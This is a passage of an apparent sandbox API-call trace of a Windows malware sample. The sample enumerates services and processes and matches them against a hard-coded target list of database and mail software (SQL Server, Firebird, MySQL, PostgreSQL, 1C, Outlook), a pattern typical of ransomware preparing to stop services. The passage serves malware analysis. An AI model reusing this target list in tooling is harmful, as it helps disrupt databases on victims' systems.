(lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0077.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0077.521] lstrlenW (lpString="LanmanServer") returned 12 [0077.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0077.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0077.521] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0077.521] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0077.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0077.521] lstrlenW (lpString="LanmanWorkstation") returned 17 [0077.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0077.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0077.521] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0077.521] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0077.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0077.528] lstrlenW (lpString="lmhosts") returned 7 [0077.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0077.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0077.528] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0077.528] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0077.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0077.528] lstrlenW (lpString="MMCSS") returned 5 [0077.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0077.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0077.528] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0077.528] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0077.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0077.528] lstrlenW (lpString="MpsSvc") returned 6 [0077.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0077.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0077.529] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0077.529] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0077.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0077.529] lstrlenW (lpString="Netman") returned 6 [0077.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0077.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0077.529] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0077.529] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0077.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0077.529] lstrlenW (lpString="netprofm") returned 8 [0077.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0077.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0077.529] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0077.529] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0077.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0077.529] lstrlenW (lpString="NlaSvc") returned 6 [0077.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0077.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0077.529] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0077.529] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0077.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0077.529] lstrlenW (lpString="nsi") returned 3 [0077.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0077.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0077.530] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0077.530] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0077.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0077.530] lstrlenW (lpString="PcaSvc") returned 6 [0077.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0077.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0077.530] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0077.530] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0077.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0077.530] lstrlenW (lpString="PlugPlay") returned 8 [0077.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0077.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0077.530] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0077.530] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0077.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0077.530] lstrlenW (lpString="Power") returned 5 [0077.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0077.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0077.530] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0077.530] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0077.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0077.530] lstrlenW (lpString="ProfSvc") returned 7 [0077.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0077.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0077.530] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0077.530] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0077.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0077.530] lstrlenW (lpString="RpcEptMapper") returned 12 [0077.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0077.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0077.531] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0077.531] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0077.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0077.531] lstrlenW (lpString="RpcSs") returned 5 [0077.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0077.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0077.531] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0077.531] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0077.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0077.531] lstrlenW (lpString="SamSs") returned 5 [0077.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0077.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0077.531] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0077.531] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0077.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0077.531] lstrlenW (lpString="Schedule") returned 8 [0077.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0077.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0077.531] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0077.531] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0077.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0077.531] lstrlenW (lpString="SENS") returned 4 [0077.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0077.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0077.531] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0077.531] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0077.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0077.532] lstrlenW (lpString="ShellHWDetection") returned 16 [0077.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0077.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0077.532] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0077.532] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0077.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0077.532] lstrlenW (lpString="Spooler") returned 7 [0077.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0077.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0077.532] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0077.532] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0077.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0077.532] lstrlenW (lpString="swprv") returned 5 [0077.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0077.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0077.532] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0077.532] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0077.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0077.532] lstrlenW (lpString="SysMain") returned 7 [0077.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0077.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0077.532] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0077.532] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0077.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0077.532] lstrlenW (lpString="Themes") returned 6 [0077.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0077.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0077.533] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0077.533] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0077.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0077.533] lstrlenW (lpString="TrkWks") returned 6 [0077.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0077.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0077.533] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0077.533] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0077.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0077.533] lstrlenW (lpString="UxSms") returned 5 [0077.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0077.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0077.533] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0077.533] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0077.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0077.533] lstrlenW (lpString="VSS") returned 3 [0077.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0077.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0077.533] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0077.533] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0077.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0077.533] lstrlenW (lpString="WdiServiceHost") returned 14 [0077.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0077.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0077.533] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0077.533] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0077.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0077.534] lstrlenW (lpString="WdiSystemHost") returned 13 [0077.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0077.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0077.534] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0077.534] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0077.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0077.534] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0077.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0077.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0077.534] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0077.534] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0077.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0077.534] lstrlenW (lpString="Winmgmt") returned 7 [0077.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0077.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0077.534] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0077.534] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0077.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0077.534] lstrlenW (lpString="WPDBusEnum") returned 10 [0077.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0077.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0077.534] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0077.534] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0077.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0077.534] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3959740 | out: hHeap=0x4b0000) returned 1 [0077.535] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x204 [0077.538] Process32FirstW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0077.538] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0077.538] lstrlenW (lpString="System") returned 6 [0077.538] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0077.539] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0077.539] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0077.539] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0077.539] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0077.539] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0077.539] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0077.539] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0077.541] lstrlenW (lpString="smss.exe") returned 8 [0077.541] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0077.541] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0077.541] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0077.541] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0077.541] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0077.541] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0077.541] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0077.541] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0077.542] lstrlenW (lpString="csrss.exe") returned 9 [0077.542] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0077.542] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0077.542] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0077.542] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0077.542] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0077.542] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0077.542] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0077.542] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0077.543] lstrlenW (lpString="wininit.exe") returned 11 [0077.543] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0077.543] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0077.543] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0077.543] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0077.543] lstrlenW (lpString="csrss.exe") returned 9 [0077.543] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0077.544] lstrlenW (lpString="winlogon.exe") returned 12 [0077.544] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0077.545] lstrlenW (lpString="services.exe") returned 12 [0077.545] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0077.545] lstrlenW (lpString="lsass.exe") returned 9 [0077.545] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0077.545] lstrlenW (lpString="lsm.exe") returned 7 [0077.546] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.546] lstrlenW (lpString="svchost.exe") returned 11 [0077.546] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.546] lstrlenW (lpString="svchost.exe") returned 11 [0077.546] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.547] lstrlenW (lpString="svchost.exe") returned 11 [0077.547] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.547] lstrlenW (lpString="svchost.exe") returned 11 [0077.547] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.548] lstrlenW (lpString="svchost.exe") returned 11 [0077.548] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0077.548] lstrlenW (lpString="audiodg.exe") returned 11 [0077.548] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.549] lstrlenW (lpString="svchost.exe") returned 11 [0077.549] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.549] lstrlenW (lpString="svchost.exe") returned 11 [0077.549] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0077.549] lstrlenW (lpString="dwm.exe") returned 7 [0077.550] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0077.578] lstrlenW (lpString="explorer.exe") returned 12 [0077.578] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0077.579] lstrlenW (lpString="spoolsv.exe") returned 11 [0077.579] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.579] lstrlenW (lpString="svchost.exe") returned 11 [0077.579] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0077.580] lstrlenW (lpString="taskhost.exe") returned 12 [0077.580] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0077.580] lstrlenW (lpString="taskeng.exe") returned 11 [0077.580] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="communist_nick.exe")) returned 1 [0077.580] lstrlenW (lpString="communist_nick.exe") returned 18 [0077.580] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotion_earned_tagged.exe")) returned 1 [0077.581] lstrlenW (lpString="promotion_earned_tagged.exe") returned 27 [0077.581] Process32NextW (in: hSnapshot=0x204, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, 